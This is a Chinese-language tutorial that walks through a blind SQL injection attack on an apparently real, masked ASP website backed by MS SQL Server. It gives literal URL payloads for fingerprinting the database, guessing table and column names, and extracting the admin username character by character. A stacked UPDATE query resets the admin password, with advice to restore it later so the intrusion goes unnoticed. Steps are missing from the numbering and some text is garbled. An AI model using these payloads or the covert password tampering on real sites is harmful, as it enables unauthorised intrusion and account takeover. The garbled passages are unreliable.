注入攻击MS SQL Server示例
1、要注入的网站如图6-1所示,由于只是为了介绍注入网站的方法,并未实质入侵该网站,同时也是为了对该网站保密,因此在后面的截图中隐藏了该网站的相关信息。图6-1显示的是要被注入网站的首页,将鼠标放在“我院召开‘平安奥运’工作部署会”上,在状态栏显示其URL是http://www.xxx.com.cn/detail.asp?productid=392。看到URL中有类似“detail.asp?productid”这样的信息,就可以猜测该网站是否存在注入漏洞了。第1步:加单引号。如图6.2所示是在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。

3、第2步:测试“and 1=1”。如图6.3所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp? productid=392后面加“and 1=1”,按Enter键后,服务器返回到正常页面。

5、第4步:判断数据库类型。如图6.5所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and user>0”,按Enter键后,服务器返回错误提示,可知是SQL Server数据库。

7、继续猜测表名,如图6.11所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(*) fromadminuser)>=0”,返回正常页面,说明存在“adminuser”表,猜测成功。注意,猜测表名时也可以使用如下形式:http://www.xxx.com.cn/detail.asp?productid=392and exists(select * from admin)http://www.xxx.com.cn/detail.asp?productid=392and exists(select * from adminuser)第6步:猜测字段名(用户名和密码字段)。猜出表名以后,将count(*)替换成count(字段名),用同样的方法猜解字段名。如图6.12所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and exists (select count(name)from adminuser)>=0”,按Enter键后,服务器返回错误提示,说明不存在“name”用户名字段。

9、继续猜测用户名长度,如图6.15所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select top 1len(admin_name) from adminuser)>12”,返回错误页面,说明用户名的长度不大于12,所以用户名的长度是12。

11、(2)猜测第2个字腿发滏呸符。从productid=392and (select top 1 unicode(substring(admin_name, 2, 1)) from ad罪焐芡拂minuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 2, 1)) from adminuser)>103显示正常;productid=392 and (select top 1unicode(substring(admin_name, 2, 1)) from adminuser)>104显示不正常,得第2个字符是“h”(查ASCII码字符表,字符h的十进制编码是104)。(3)猜测第3个字符。从productid=392and (select top 1 unicode(substring(admin_name, 3, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 3, 1)) from adminuser)>110显示正常;productid=392 and (select top 1unicode(substring(admin_name, 3, 1)) from adminuser)>111显示不正常,得第3个字符是“o”(查ASCII码字符表,字符o的十进制编码是111)。按照上述步骤猜测第4~12个字符,最终得到用户名是“zhoushanshan”。第8步:猜测用户密码。按照猜测用户名的方法猜测用户密码,一般情况下,密码是经MD5加密后存入表中的,如果成功,得到的也是加密后的密码,所以还要对密码进行破解。第9步:修改密码。如果破解密码的难度很大,那么可以修改已经猜测的用户名对应的密码,即http://www.xxx.com.cn/detail.asp?productid=392;update adminuser set admin_pwd =' a0b923820dcc509a'where admin_name='zhoushanshan';--“a0b923820dcc509a”是1的MD5值,即把密码改成1,zhoushanshan为已猜测的用户名,可以用同样的方法把密码改为原来的值,目的是为了不让真实的zhoushanshan用户发现系统被入侵了。